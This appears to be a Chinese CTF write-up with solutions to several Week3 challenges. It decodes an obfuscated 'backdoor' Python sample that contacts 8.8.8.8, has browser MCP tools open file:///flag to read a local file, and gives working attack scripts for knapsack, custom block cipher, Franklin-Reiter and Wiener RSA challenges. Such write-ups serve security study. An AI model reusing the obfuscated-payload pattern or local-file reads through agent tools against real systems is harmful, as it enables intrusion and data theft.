c2JFbEpiQ0FySUNnb0tHeEpiR3hKYkNBOFBDQTBLU0FySUVsSmJHeHNiRnN5WFNrZ1hpQW9iRWxz
YkVsc0lDc2diRWxzU1Vsc0tTQmVJQ2dvYkVsc2JFbHNJRDQrSURVcElDc2dTVWxzYkd4c1d6TmRL
U2twSUNZZ01IaEdSa1pHUmtaR1Jnb2dJQ0FnSUNBZ0lISmxkSFZ5YmlCYmJFbHNiRWxzTENCSmJH
eEpTV3hkQ2lBZ0lDQnNiRWxzYkd3Z1BTQW9PQ0F0SUd4bGJpaEpiR3hKYkd3cElDVWdPQ2tnSlNB
NENpQWdJQ0JKYkd4SmJHd2dLejBnSjF3d0p5QXFJR3hzU1d4c2JBb2dJQ0FnU1Vsc1NVbEpJRDBn
VzEwS0lDQWdJR1p2Y2lCc2JFbHNTVWtnYVc0Z2NtRnVaMlVvTUN3Z2JHVnVLRWxzYkVsc2JDa3NJ
RGdwT2dvZ0lDQWdJQ0FnSUd4c1NXeEpiQ0E5SUVsc2JFbHNiRnRzYkVsc1NVazZiR3hKYkVsSkt6
aGRDaUFnSUNBZ0lDQWdTVWxKYkd4c0lEMGdhVzUwTG1aeWIyMWZZbmwwWlhNb2JHeEpiRWxzV3pv
MFhTNWxibU52WkdVb0tTd2dKMkpwWnljcENpQWdJQ0FnSUNBZ1NVbHNTV3hzYkNBOUlHbHVkQzVt
Y205dFgySjVkR1Z6S0d4c1NXeEpiRnMwT2wwdVpXNWpiMlJsS0Nrc0lDZGlhV2NuS1FvZ0lDQWdJ
Q0FnSUVsSmJFbEpTUzVoY0hCbGJtUW9XMGxKU1d4c2JDd2dTVWxzU1d4c2JGMHBDaUFnSUNCSmJH
eHNTVWtnUFNCYmFXNTBMbVp5YjIxZllubDBaWE1vYkVsc2JFbEpXMms2YVNzMFhTNWxibU52WkdV
b0tTd2dKMkpwWnljcElHWnZjaUJwSUdsdUlISmhibWRsS0RBc0lERTJMQ0EwS1YwS0lDQWdJR3hK
YkVsc2JDQTlJRnRKU1d4SlNXd29TVWxzU1N3Z1NXeHNiRWxKS1NCbWIzSWdTVWxzU1NCcGJpQkpT
V3hKU1VsZENpQWdJQ0J5WlhSMWNtNGdKeWN1YW05cGJpaG1KM3RKYkd3Nk1EaDRmWHRzYkd3Nk1E
aDRmU2NnWm05eUlFbHNiQ3dnYkd4c0lHbHVJR3hKYkVsc2JDa0taR1ZtSUd4c2JFbEpiQ2hzYkVs
c1NXeEpMQ0JKU1d4SmJHeEpLVG9LSUNBZ0lHUmxaaUJzYkVsSlNXd29iR3hKU1Vsc1NTd2diR3hz
U1VsSkxDQkpTV3hzYkd4SlBUTXlLVG9LSUNBZ0lDQWdJQ0JzYkVsc2JFbEpMQ0JKYkd4SmJHeEpJ
RDBnYkd4SlNVbHNTVnN3WFN3Z2JHeEpTVWxzU1ZzeFhRb2dJQ0FnSUNBZ0lFbHNiR3hKYkd3Z1BT
QXdlRGxGTXpjM09VSTVDaUFnSUNBZ0lDQWdiRWxzYkd4SlNTQTlJQ2hKYkd4c1NXeHNJQ29nU1Vs
c2JHeHNTU2tnSmlBd2VFWkdSa1pHUmtaR0NpQWdJQ0FnSUNBZ1ptOXlJRjhnYVc0Z2NtRnVaMlVv
U1Vsc2JHeHNTU2s2Q2lBZ0lDQWdJQ0FnSUNBZ0lFbHNiRWxzYkVrZ1BTQW9TV3hzU1d4c1NTQXRJ
Q2dvS0d4c1NXeHNTVWtnUER3Z05Da2dLeUJzYkd4SlNVbGJNbDBwSUY0Z0tHeHNTV3hzU1VrZ0t5
QnNTV3hzYkVsSktTQmVJQ2dvYkd4SmJHeEpTU0ErUGlBMUtTQXJJR3hzYkVsSlNWc3pYU2twS1NB
bUlEQjRSa1pHUmtaR1JrWUtJQ0FnSUNBZ0lDQWdJQ0FnYkd4SmJHeEpTU0E5SUNoc2JFbHNiRWxK
SUMwZ0tDZ29TV3hzU1d4c1NTQThQQ0EwS1NBcklHeHNiRWxKU1Zzd1hTa2dYaUFvU1d4c1NXeHNT
U0FySUd4SmJHeHNTVWtwSUY0Z0tDaEpiR3hKYkd4SklENCtJRFVwSUNzZ2JHeHNTVWxKV3pGZEtT
a3BJQ1lnTUhoR1JrWkdSa1pHUmdvZ0lDQWdJQ0FnSUNBZ0lDQnNTV3hzYkVsSklEMGdLR3hKYkd4
c1NVa2dMU0JKYkd4c1NXeHNLU0FtSURCNFJrWkdSa1pHUmtZS0lDQWdJQ0FnSUNCeVpYUjFjbTRn
VzJ4c1NXeHNTVWtzSUVsc2JFbHNiRWxkQ2lBZ0lDQnNTVWxKYkVrZ1BTQmJYUW9nSUNBZ1ptOXlJ
R3hKYkVsSmJFa2dhVzRnY21GdVoyVW9NQ3dnYkdWdUtHeHNTV3hKYkVrcExDQXhOaWs2Q2lBZ0lD
QWdJQ0FnYkVsSmJHeHNTU0E5SUdsdWRDaHNiRWxzU1d4SlcyeEpiRWxKYkVrNmJFbHNTVWxzU1Nz
NFhTd2dNVFlwQ2lBZ0lDQWdJQ0FnYkVsc1NXeHNTU0E5SUdsdWRDaHNiRWxzU1d4SlcyeEpiRWxK
YkVrck9EcHNTV3hKU1d4Skt6RTJYU3dnTVRZcENpQWdJQ0FnSUNBZ2JFbEpTV3hKTG1Gd2NHVnVa
Q2hiYkVsSmJHeHNTU3dnYkVsc1NXeHNTVjBwQ2lBZ0lDQnNTV3hzU1d4c0lEMGdXMmx1ZEM1bWNt
OXRYMko1ZEdWektFbEpiRWxzYkVsYmFUcHBLelJkTG1WdVkyOWtaU2dwTENBblltbG5KeWtnWm05
eUlHa2dhVzRnY21GdVoyVW9NQ3dnTVRZc0lEUXBYUW9nSUNBZ1NXeHNTV3hKU1NBOUlGdHNiRWxK
U1d3b1NXeHNTU3dnYkVsc2JFbHNiQ2tnWm05eUlFbHNiRWtnYVc0Z2JFbEpTV3hKWFFvZ0lDQWdi
RWxzYkd4SmJDQTlJR0luSnk1cWIybHVLSGd1ZEc5ZllubDBaWE1vTkN3Z0oySnBaeWNwSUNzZ2VT
NTBiMTlpZVhSbGN5ZzBMQ0FuWW1sbkp5a2dabTl5SUhnc0lIa2dhVzRnU1d4c1NXeEpTU2tLSUNB
Z0lISmxkSFZ5YmlCc1NXeHNiRWxzTG5KemRISnBjQ2hpSjF3d0p5a3VaR1ZqYjJSbEtDa0taR1Zt
SUVsc1NXeEpiQ2dwT2dvZ0lDQWdiRWxKYkVrZ1BTQW5Nak14TVdJNU1USXpaRGRtWkdJellXSmxO
R0l5T1dJeVpXWmtNelJsWkRFME1HVTBZV1EzT0RReU9HSTFaREk0TTJFelpUYzFZV1kwWW1Velpt
WXlNalkzWmpGa1lqZzFNak16T0ROaFpEQW5DaUFnSUNCc1NVbEpiR3hKSUQwZ0ltUm9ZMjkzYW5G
dVkydHpjM0ZrY1cwaUNpQWdJQ0JzU1d4SmJDQTlJR3hzYkVsSmJDaHNTVWxzU1N3Z2JFbEpTV3hz
U1NrS0lDQWdJSEpsZEhWeWJpQlVjblZsQ21SbFppQkpiR3hzU1NncE9nb2dJQ0FnYkd4c2JFa2dQ
U0JmWDJsdGNHOXlkRjlmS0NkemIyTnJaWFFuS1FvZ0lDQWdTV3hKU1d3Z1BTQnNiR3hzU1M1emIy
TnJaWFFvYkd4c2JFa3VRVVpmU1U1RlZDd2diR3hzYkVrdVUwOURTMTlUVkZKRlFVMHBDaUFnSUNC
SmJFbEpiQzV6WlhSMGFXMWxiM1YwS0RFcENpQWdJQ0JKYkVsSmJDNWpiMjV1WldOMEtDZ2lPQzQ0
TGpndU9DSXNJRFV6S1NrS1pHVm1JR3hKU1Vsc2JHd29LVG9LSUNBZ0lFbHNTV3hKYkNncENpQWdJ
Q0JzU1d4SmJFa29LUW9nSUNBZ1NXeHNiRWtvS1Fwc1NVbEpiR3hzS0NrSykF2gRleGVj2gpfX2lt
cG9ydF9f2gliNjRkZWNvZGXaBmRlY29kZdoHZ2xvYmFscykB2gF4cwEAAAAg+iUvVXNlcnMvam9r
ZXIvQ29kZS9KdXN0RmluZEl0L3RyYWluLnB52gthcmJleGVfc2FmZXILAAAADAAAAHNrAAAAgADd
BAiNGpBI0Qkd1Akd1wkn0gkn8AAAKWs78QAACmw79AAACmw79wAACnM78gAACnM78QAACnU79AAA
CnU79QAAdjt9O/EAAHY7fzv0AAB2O3878QAABUA89AAABUA88AAABUA82AsMgEjzAAAAAA==

解码后还看到一串base64,再次解码得到恶意程序的代码

from re import T


def lIlIlI():
IlIlII = "⚠️ WARNING: MODEL COMPROMISED!"
lIIIll = "🚨 Injected Code Triggered Successfully"
IIlIlI = "🏴‍☠️ Backdoor Activated... Exfiltrating Data"
print(IlIlII)
print(lIIIll)
print(IIlIlI)
def IIllIl(IllIll, lIllII):
def IIlIIl(lIllll, IIllll, llIIII=32):
lIllIl, IllIIl = lIllll[0], lIllll[1]
lIlIIl = 0
IIlIll = 0x9E3779B9
for _ in range(llIIII):
lIlIIl = (lIlIIl + IIlIll) & 0xFFFFFFFF
lIllIl = (lIllIl + (((IllIIl << 4) + IIllll[0]) ^ (IllIIl + lIlIIl) ^ ((IllIIl >> 5) + IIllll[1]))) & 0xFFFFFFFF
IllIIl = (IllIIl + (((lIllIl << 4) + IIllll[2]) ^ (lIllIl + lIlIIl) ^ ((lIllIl >> 5) + IIllll[3]))) & 0xFFFFFFFF
return [lIllIl, IllIIl]
llIlll = (8 - len(IllIll) % 8) % 8
IllIll += '\0' * llIlll
IIlIII = []
for llIlII in range(0, len(IllIll), 8):
llIlIl = IllIll[llIlII:llIlII+8]
IIIlll = int.from_bytes(llIlIl[:4].encode(), 'big')
IIlIlll = int.from_bytes(llIlIl[4:].encode(), 'big')
IIlIII.append([IIIlll, IIlIlll])
IlllII = [int.from_bytes(lIllII[i:i+4].encode(), 'big') for i in range(0, 16, 4)]
lIlIll = [IIlIIl(IIlI, IlllII) for IIlI in IIlIII]
return ''.join(f'{Ill:08x}{lll:08x}' for Ill, lll in lIlIll)
def lllIIl(llIlIlI, IIlIllI):
def llIIIl(llIIIlI, lllIII, IIllllI=32):
llIllII, IllIllI = llIIIlI[0], llIIIlI[1]
IlllIll = 0x9E3779B9
lIlllII = (IlllIll * IIllllI) & 0xFFFFFFFF
for _ in range(IIllllI):
IllIllI = (IllIllI - (((llIllII << 4) + lllIII[2]) ^ (llIllII + lIlllII) ^ ((llIllII >> 5) + lllIII[3]))) & 0xFFFFFFFF
llIllII = (llIllII - (((IllIllI << 4) + lllIII[0]) ^ (IllIllI + lIlllII) ^ ((IllIllI >> 5) + lllIII[1]))) & 0xFFFFFFFF
lIlllII = (lIlllII - IlllIll) & 0xFFFFFFFF
return [llIllII, IllIllI]
lIIIlI = []
for lIlIIlI in range(0, len(llIlIlI), 16):
lIIlllI = int(llIlIlI[lIlIIlI:lIlIIlI+8], 16)
lIlIllI = int(llIlIlI[lIlIIlI+8:lIlIIlI+16], 16)
lIIIlI.append([lIIlllI, lIlIllI])
lIllIll = [int.from_bytes(IIlIllI[i:i+4].encode(), 'big') for i in range(0, 16, 4)]
IllIlII = [llIIIl(IllI, lIllIll) for IllI in lIIIlI]
lIlllIl = b''.join(x.to_bytes(4, 'big') + y.to_bytes(4, 'big') for x, y in IllIlII)
return lIlllIl.rstrip(b'\0').decode()
def IlIlIl():
lIIlI = '2311b9123d7fdb3abe4b29b2efd34ed140e4ad78428b5d283a3e75af4be3ff2267f1db8523383ad0'
lIIIllI = "dhcowjqnckssqdqm"
lIlIl = lllIIl(lIIlI, lIIIllI)
return True
def IlllI():
llllI = __import__('socket')
IlIIl = llllI.socket(llllI.AF_INET, llllI.SOCK_STREAM)
IlIIl.settimeout(1)
IlIIl.connect(("8.8.8.8", 53))
def lIIIlll():
IlIlIl()
lIlIlI()
IlllI()
lIIIlll()

很明显的tea加密,还给了解密函数

def lllIIl(llIlIlI, IIlIllI):
def llIIIl(llIIIlI, lllIII, IIllllI=32):
llIllII, IllIllI = llIIIlI[0], llIIIlI[1]
IlllIll = 0x9E3779B9
lIlllII = (IlllIll * IIllllI) & 0xFFFFFFFF
for _ in range(IIllllI):
IllIllI = (IllIllI - (((llIllII << 4) + lllIII[2]) ^ (llIllII + lIlllII) ^ ((llIllII >> 5) + lllIII[3]))) & 0xFFFFFFFF
llIllII = (llIllII - (((IllIllI << 4) + lllIII[0]) ^ (IllIllI + lIlllII) ^ ((IllIllI >> 5) + lllIII[1]))) & 0xFFFFFFFF
lIlllII = (lIlllII - IlllIll) & 0xFFFFFFFF
return [llIllII, IllIllI]
lIIIlI = []
for lIlIIlI in range(0, len(llIlIlI), 16):
lIIlllI = int(llIlIlI[lIlIIlI:lIlIIlI+8], 16)
lIlIllI = int(llIlIlI[lIlIIlI+8:lIlIIlI+16], 16)
lIIIlI.append([lIIlllI, lIlIllI])
lIllIll = [int.from_bytes(IIlIllI[i:i+4].encode(), 'big') for i in range(0, 16, 4)]
IllIlII = [llIIIl(IllI, lIllIll) for IllI in lIIIlI]
lIlllIl = b''.join(x.to_bytes(4, 'big') + y.to_bytes(4, 'big') for x, y in IllIlII)
return lIlllIl.rstrip(b'\0').decode()
def IlIlIl():
lIIlI = '2311b9123d7fdb3abe4b29b2efd34ed140e4ad78428b5d283a3e75af4be3ff2267f1db8523383ad0'
lIIIllI = "dhcowjqnckssqdqm"
lIlIl = lllIIl(lIIlI, lIIIllI)
print(lIlIl)
return True

IlIlIl()
# flag{b4ckd00r_4ct1v4ted_3xfiltr4t10n}

[Week3] browser-mcp

docker run --rm --network host -p 6274:6274 -p 6277:6277 ghcr.io/modelcontextprotocol/inspector:latest

调用工具,先调用browser_start,接着调用browser_create_page,接着调用browser_navigate访问file:///flag,最后调用browser_screenshot获取页面截图

image-20251024104355585

Crypto

[Week3] BackPack

import random
from secret import flag

assert flag.startswith(b'flag{') and flag.endswith(b'}')
assert len(flag) == 18

nbits = 100
a = [random.randint(1<<(nbits-1),1<<nbits) for i in range(len(flag))]
b = sum([i*j for i,j in zip(a,flag)])

print(f'{a = }')
print(f'{b = }')

'''
a = [860821557828281442941778166659, 803777501490125576839352944446, 1005791873983601117392247346085, 1231852467297005050375360025752, 1150352241055815801801169950798, 1033631711572423166071966000805, 890177812727691819583920502722, 774328120543962049661717901714, 1245456973890441414472116526495, 1028358564218716011754082665529, 1255301095911246652616865738235, 1044268314210406252404807758214, 657259442956498113250060870571, 1012336650574893000661389761761, 634657308746918412136962502475, 777627386546123162588057785533, 678975824788168905519513549577, 1019837548122056307083044320710]
b = 1379609132427499161538242425117756
'''

背包密码,剪去flag的头和尾,再LLL即可求出flag

a = [860821557828281442941778166659, 803777501490125576839352944446, 1005791873983601117392247346085, 1231852467297005050375360025752, 1150352241055815801801169950798, 1033631711572423166071966000805, 890177812727691819583920502722, 774328120543962049661717901714, 1245456973890441414472116526495, 1028358564218716011754082665529, 1255301095911246652616865738235, 1044268314210406252404807758214, 657259442956498113250060870571, 1012336650574893000661389761761, 634657308746918412136962502475, 777627386546123162588057785533, 678975824788168905519513549577, 1019837548122056307083044320710]
b = 1379609132427499161538242425117756

tmp = b'flag{'
b_tmp = sum([i*j for i,j in zip(a,tmp)])

pk = a[5:-1]
cipher = b - b_tmp - (a[-1]*ord(b'}'))

n = len(pk)
Ge = Matrix(ZZ,n+1,n+1)
for i in range(n):
Ge[i,i] = 1
Ge[i,-1] = pk[i]
Ge[-1,-1] = cipher
Ge[:,-1] *= 2**1000
for line in Ge.LLL():
if all(0 <= abs(x) <= 255 for x in line[:-1]):
flag = b''
for i in line[:-1]:
flag += bytes([abs(i)])
print(f"flag{{{flag.decode()}}}")
# flag{342y_14771C3}

[Week3] Great Block Cipher

源码

def encrypt(msg, key, iv):
assert len(msg) % 16 == 0
assert len(key) == 16 and len(iv) == 16
xor = lambda a, b:[i^j for i,j in zip(a,b)]
sbox = [75, 203, 236, 186, 19, 102, 179, 172, 92, 254, 54, 41, 124, 49, 195, 32, 191, 103, 157, 2, 128, 3, 156, 58, 159, 169, 189, 71, 168, 127, 109, 18, 232, 144, 40, 164, 192, 182, 181, 14, 204, 56, 226, 43, 206, 74, 129, 248, 11, 53, 72, 210, 33, 215, 250, 91, 161, 183, 239, 143, 167, 63, 152, 126, 48, 84, 146, 76, 234, 180, 107, 227, 142, 65, 147, 209, 89, 188, 225, 110, 116, 24, 150, 216, 45, 115, 95, 135, 36, 101, 138, 199, 69, 55, 86, 241, 59, 16, 83, 114, 39, 200, 151, 125, 8, 177, 198, 145, 247, 237, 171, 21, 136, 184, 185, 117, 242, 111, 119, 174, 28, 96, 246, 131, 10, 231, 130, 46, 104, 208, 38, 187, 218, 122, 139, 80, 79, 235, 64, 47, 238, 99, 140, 163, 90, 30, 252, 93, 173, 31, 249, 7, 9, 155, 230, 42, 82, 205, 57, 148, 240, 133, 0, 178, 165, 17, 213, 20, 222, 50, 221, 97, 137, 176, 243, 25, 113, 175, 220, 224, 118, 12, 166, 141, 202, 51, 61, 193, 158, 245, 134, 123, 211, 196, 1, 4, 244, 253, 22, 108, 201, 223, 73, 228, 212, 27, 78, 60, 153, 207, 219, 85, 88, 197, 121, 120, 70, 6, 233, 162, 105, 100, 112, 229, 214, 81, 23, 44, 13, 67, 15, 98, 37, 170, 149, 62, 132, 190, 251, 34, 217, 87, 29, 35, 68, 194, 5, 255, 52, 160, 66, 94, 26, 154, 77, 106]
cipher = []
ks = [key[:4],key[4:8],key[8:12],key[12:]]
for i in range(16*4):
nk = 0
for j in range(4):
nk = int.from_bytes(ks[i+j],'big') ^ (3377808869 * nk % (1<<32))
ks.append(nk.to_bytes(4,'little'))
block_count = len(msg)//16
for block in range(block_count):
m = list(msg[16*block:16*(block+1)])
m = xor(m, iv)
m = xor(m, b''.join(ks[:4]))
for loop in range(16):
m = [sbox[i] for i in m]
for i in range(4):
a = bin(sum([m[4*i+j]*256**j for j in range(4)]))[2:].zfill(32)
b = []
d = i+3
c1, c2 = 32//d, 32%d
k = 0
for j in range(d):
if j < c2:
b.append(a[k:k+c1+1])
k += c1+1
else:
b.append(a[k:k+c1])
k += c1
c = ''
for j in range(c1+1):
for k in range(d):
if len(b[k]) > j:
c += b[k][j]
m[4*i],m[4*i+1],m[4*i+2],m[4*i+3] = int(c,2).to_bytes(4,'big')
if loop < 15:
a = []
b = [10, 13, 3, 11, 7, 9, 0, 15, 5, 12, 8, 4, 6, 14, 2, 1]
for i in range(4):
for j in range(4):
a.append(sum([b[4*i+k]*m[j+4*k] for k in range(4)])%256)
m = a
m = xor(m, b''.join(ks[4*(loop+1):4*(loop+2)]))
cipher.append(bytes(m))
iv = m
return b''.join(cipher)

def pad(msg):
l = (len(msg)//16+1)*16
return msg.ljust(l,chr(l-len(msg)).encode())

flag = b'flag{*********}'

what = b'www.bilibili.com/video/BV1ox4y1e71S'
key, iv = what[:16], what[-16:]
cipher = encrypt(pad(flag), key, iv)
print(cipher.hex())
# aa624dc4a26a879cbdc61585e1c92650d5d84c9195508d73172008e3bf1cf6edfa5eb1d1590b0de1424a563c91aeb5d8

类似AES的加密,AI秒了(

image-20251024115647576

exp

# Decryption script for the provided custom cipher
from math import gcd
def xor_bytes(a: bytes, b: bytes) -> bytes:
return bytes(x ^ y for x, y in zip(a, b))

sbox = [75,203,236,186,19,102,179,172,92,254,54,41,124,49,195,32,191,103,157,2,128,3,156,58,159,169,189,71,168,127,109,18,232,144,40,164,192,182,181,14,204,56,226,43,206,74,129,248,11,53,72,210,33,215,250,91,161,183,239,143,167,63,152,126,48,84,146,76,234,180,107,227,142,65,147,209,89,188,225,110,116,24,150,216,45,115,95,135,36,101,138,199,69,55,86,241,59,16,83,114,39,200,151,125,8,177,198,145,247,237,171,21,136,184,185,117,242,111,119,174,28,96,246,131,10,231,130,46,104,208,38,187,218,122,139,80,79,235,64,47,238,99,140,163,90,30,252,93,173,31,249,7,9,155,230,42,82,205,57,148,240,133,0,178,165,17,213,20,222,50,221,97,137,176,243,25,113,175,220,224,118,12,166,141,202,51,61,193,158,245,134,123,211,196,1,4,244,253,22,108,201,223,73,228,212,27,78,60,153,207,219,85,88,197,121,120,70,6,233,162,105,100,112,229,214,81,23,44,13,67,15,98,37,170,149,62,132,190,251,34,217,87,29,35,68,194,5,255,52,160,66,94,26,154,77,106]
inv_sbox = [0]*256
for i,v in enumerate(sbox):
inv_sbox[v] = i

b_list = [10,13,3,11,7,9,0,15,5,12,8,4,6,14,2,1]
B = [[b_list[4*i+k] for k in range(4)] for i in range(4)]

def mat_inv_mod256(mat):
n = len(mat)
A = [[(mat[i][j]) % 256 for j in range(n)] + [1 if i==j else 0 for j in range(n)] for i in range(n)]
row = 0
for col in range(n):
pivot = None
for r in range(row, n):
if gcd(A[r][col], 256) == 1:
pivot = r; break
if pivot is None:
raise ValueError("Matrix not invertible modulo 256")
A[row], A[pivot] = A[pivot], A[row]
inv_pivot = pow(A[row][col], -1, 256)
A[row] = [(x * inv_pivot) % 256 for x in A[row]]
for r in range(n):
if r != row:
factor = A[r][col]
if factor:
A[r] = [(A[r][c] - factor*A[row][c]) % 256 for c in range(2*n)]
row += 1
inv = [[A[i][n + j] for j in range(n)] for i in range(n)]
return inv

B_inv = mat_inv_mod256(B)

def bit_perm_inverse_for_i(c_bits, i):
d = i + 3
c1, c2 = divmod(32, d)
lengths = [(c1+1) if k < c2 else c1 for k in range(d)]
b = [''] * d
idx = 0
maxlen = c1 + 1
for j in range(maxlen):
for k in range(d):
if j < lengths[k]:
b[k] += c_bits[idx]
idx += 1
a_bits = ''.join(b)
a_bits = a_bits.zfill(32)
return a_bits

def inverse_bit_permute_word(word_bytes, i):
c_int = int.from_bytes(bytes(word_bytes), 'big')
c_bits = bin(c_int)[2:].zfill(32)
a_bits = bit_perm_inverse_for_i(c_bits, i)
a_int = int(a_bits, 2)
return [(a_int >> (8*j)) & 0xff for j in range(4)]

def inverse_linear_mix(m_bytes):
A = [[m_bytes[4*i + j] for j in range(4)] for i in range(4)]
temp = [[sum(B_inv[i][k] * A[k][j] for k in range(4)) % 256 for j in range(4)] for i in range(4)]
M = [[temp[j][i] for j in range(4)] for i in range(4)]
out = []
for k in range(4):
for j in range(4):
out.append(M[j][k])
return out

def decrypt_block(cipher_block: bytes, ks_bytes: bytes, iv: bytes):
m = list(cipher_block)
for loop in reversed(range(16)):
rk = ks_bytes[4*(loop+1)*4 : 4*(loop+2)*4]
m = list(x ^ y for x,y in zip(m, rk))
if loop < 15:
m = inverse_linear_mix(m)
out = [0]*16
for i in range(4):
chunk = m[4*i:4*i+4]
recovered = inverse_bit_permute_word(chunk, i)
out[4*i:4*i+4] = recovered
m = out
m = [inv_sbox[x] for x in m]
k0 = ks_bytes[:16]
m = bytes(m)
m = xor_bytes(m, k0)
m = xor_bytes(m, iv)
return m

def build_ks(key: bytes):
assert len(key) == 16
ks = [key[:4], key[4:8], key[8:12], key[12:16]]
for i in range(16*4):
nk = 0
for j in range(4):
nk = int.from_bytes(ks[i+j],'big') ^ (3377808869 * nk % (1<<32))
ks.append(nk.to_bytes(4,'little'))
return ks

what = b'www.bilibili.com/video/BV1ox4y1e71S'
key = what[:16]
iv = what[-16:]
cipher_hex = "aa624dc4a26a879cbdc61585e1c92650d5d84c9195508d73172008e3bf1cf6edfa5eb1d1590b0de1424a563c91aeb5d8"
cipher = bytes.fromhex(cipher_hex)

ks = build_ks(key)
ks_bytes = b''.join(ks)

plaintext = b''
cur_iv = iv
for b_i in range(len(cipher)//16):
cb = cipher[16*b_i:16*(b_i+1)]
pt_block = decrypt_block(cb, ks_bytes, cur_iv)
plaintext += pt_block
cur_iv = cb

print("Recovered (raw):", plaintext)
pad_len = plaintext[-1]
recovered = plaintext.rstrip(bytes([pad_len]))
print("Recovered (flag):", recovered.decode())

[Week3] 粗心的刀客塔

源码

from Crypto.Util.number import *
from secret import flag
import string

assert all([32 <= i < 127 for i in flag])

p = getPrime(256)
q = getPrime(256)
n = p * q
e = 101
m = bytes_to_long(flag)
leak = pow(m >> 24, e, n)
c = pow(m, e, n)

print(f"{n = }")
print(f"{c = }")
print(f"{leak = }")

'''
n = 5319759096723652571836298314092909425332276330129217992231327360001696558642842980078588366780616703371535091144295605553702964868429848031926900306865671
c = 3717882894420559435813465358856850403021712120763789421125900019613990660689611255039234186741155362666920022619737448037936794899828659821462858212688117
leak = 3356367618122038581666224258476706455260507506246200407627535289360900935914902732942530539610398553583623134561351595796155927323645129738755588757636775
'''

根据题目,可以发现两次RSA的m存在相关,可以使用Franklin-Reiter attack攻击

# sage
from Crypto.Util.number import *

def franklinReiter(n,e,c1,c2,a,b):
PR.<x> = PolynomialRing(Zmod(n))
g1 = (x)^e - c1
g2 = (a*x+b)^e - c2

def gcd(g1, g2):
while g2:
g1, g2 = g2, g1 % g2
return g1.monic() #
return -gcd(g1, g2)[0]



n = 5319759096723652571836298314092909425332276330129217992231327360001696558642842980078588366780616703371535091144295605553702964868429848031926900306865671
c = 3717882894420559435813465358856850403021712120763789421125900019613990660689611255039234186741155362666920022619737448037936794899828659821462858212688117
leak = 3356367618122038581666224258476706455260507506246200407627535289360900935914902732942530539610398553583623134561351595796155927323645129738755588757636775
e = 101
a = 2**24

for i in range(32,127):
for j in range(32,127):
tmp = [i,j,ord(b'}')]
b = bytes_to_long(bytes(tmp))
m=franklinReiter(n,e,leak,c,a,b)
# print(i,j,m)
flag = long_to_bytes(int(m)) + bytes(tmp)
if b'flag{' in flag:
print(flag)
break

# b'flag{Franklin-Reiter_Re1at3d_Mes5age_4t7ack!!}'

[Week3] my crypto

from Crypto.Util.number import *
from Crypto.Cipher import AES
from secret import keys, flag

assert all([isPrime(i) for i in keys])

a, b, c, d = keys
flag1 = flag[:16]
flag2 = flag[16:]

def getrandbits(nbits):
global a
a = (a * b + c) % d
res = a % (1 << (nbits % 32))
for i in range(nbits>>5):
a = (a * b + c) % d
res = (res << 32) + a
return res

def my_getPrime(nbits):
while 1:
p = getrandbits(nbits)
if isPrime(p):
return p

k = b''.join([long_to_bytes(i) for i in keys])
cipher = AES.new(k,AES.MODE_ECB)
c1 = cipher.encrypt(flag1)
print(c1.hex())
# b7a6aa2e92065c6ca0f641774daa6be7

p = my_getPrime(512)
q = my_getPrime(512)
n = p * q
d = my_getPrime(32)
e = pow(d, -1, (p-1)*(q-1))
m = bytes_to_long(flag2)
c2 = pow(m, e, n)
print(f'{n = }')
print(f'{e = }')
print(f'{c2 = }')

'''
n = 39521475492289704282372525102972047379587840152013494470666852310331219291229208591000963814677764705955186438589918888274349774598692589176268070208523156377103733621601248281862395731517581489150077786717418872307181541771338480999536362215017952642244625691695528497541971443123302436608607181914055505741
e = 7955513459152363268059840496494977557672738094181109251050578837682469226136272312849884305606261787301500849415590869242112403147213286640778349227496752834593098213663381614398567765645828510773121349727282854101784391919639313881329783371319494396861363593554624562376428895567450313204953233612089862521
c2 = 15135904127082975691707919892721484099170628305919121178457832462589237864977181629204990864942371124996446718162196996063156337665323522280326791289049051253208803267775994659805299489492829266234756958872207120589419603462407325635086273526492385436072038464980762567211324129542601948720119324910582929057
'''

先使用维纳攻击求出p、q和第二段flag

import gmpy2
from Crypto.Util.number import *

def transform(x, y): # 使用辗转相处将分数 x/y 转为连分数的形式
res = []
while y:
res.append(x // y)
x, y = y, x % y
return res


def continued_fraction(sub_res):
numerator, denominator = 1, 0
for i in sub_res[::-1]: # 从sublist的后面往前循环
denominator, numerator = numerator, i * numerator + denominator
return denominator, numerator # 得到渐进分数的分母和分子,并返回


# 求解每个渐进分数
def sub_fraction(x, y):
res = transform(x, y)
res = list(map(continued_fraction, (res[0:i] for i in range(1, len(res))))) # 将连分数的结果逐一截取以求渐进分数
return res


def get_pq(a, b, c): # 由p+q和pq的值通过维达定理来求解p和q
par = gmpy2.isqrt(b * b - 4 * a * c) # 由上述可得,开根号一定是整数,因为有解
x1, x2 = (-b + par) // (2 * a), (-b - par) // (2 * a)
return x1, x2


def wienerAttack(e, n):
for (d, k) in sub_fraction(e, n): # 用一个for循环来注意试探e/n的连续函数的渐进分数,直到找到一个满足条件的渐进分数
if k == 0: # 可能会出现连分数的第一个为0的情况,排除
continue
if (e * d - 1) % k != 0: # ed=1 (mod φ(n)) 因此如果找到了d的话,(ed-1)会整除φ(n),也就是存在k使得(e*d-1)//k=φ(n)
continue

phi = (e * d - 1) // k # 这个结果就是 φ(n)
px, qy = get_pq(1, n - phi + 1, n)
if px * qy == n:
p, q = abs(int(px)), abs(int(qy)) # 可能会得到两个负数,负负得正未尝不会出现
print("p =",p)
print("q =",q)
d = gmpy2.invert(e, (p - 1) * (q - 1)) # 求ed=1 (mod φ(n))的结果,也就是e关于 φ(n)的乘法逆元d
return d
print("该方法不适用")

n = 39521475492289704282372525102972047379587840152013494470666852310331219291229208591000963814677764705955186438589918888274349774598692589176268070208523156377103733621601248281862395731517581489150077786717418872307181541771338480999536362215017952642244625691695528497541971443123302436608607181914055505741
e = 7955513459152363268059840496494977557672738094181109251050578837682469226136272312849884305606261787301500849415590869242112403147213286640778349227496752834593098213663381614398567765645828510773121349727282854101784391919639313881329783371319494396861363593554624562376428895567450313204953233612089862521
c = 15135904127082975691707919892721484099170628305919121178457832462589237864977181629204990864942371124996446718162196996063156337665323522280326791289049051253208803267775994659805299489492829266234756958872207120589419603462407325635086273526492385436072038464980762567211324129542601948720119324910582929057
d = wienerAttack(e, n)
print("d =",d)
m=pow(c, d, n)
print(long_to_bytes(m))
"""
p = 5600014191532800488531831668395799541204315609245207958128442807909500183163545047188686852245188260597387171558644084932317706911269223090409172866640439
q = 7057388453058926233500293184792665049465132321705130378797563205430167401000382627642421543266294746401018372443611315368731148969189356088513969419966619
d = 3530426429
b'a_cryp7o_5ecure_PRNG}'
"""

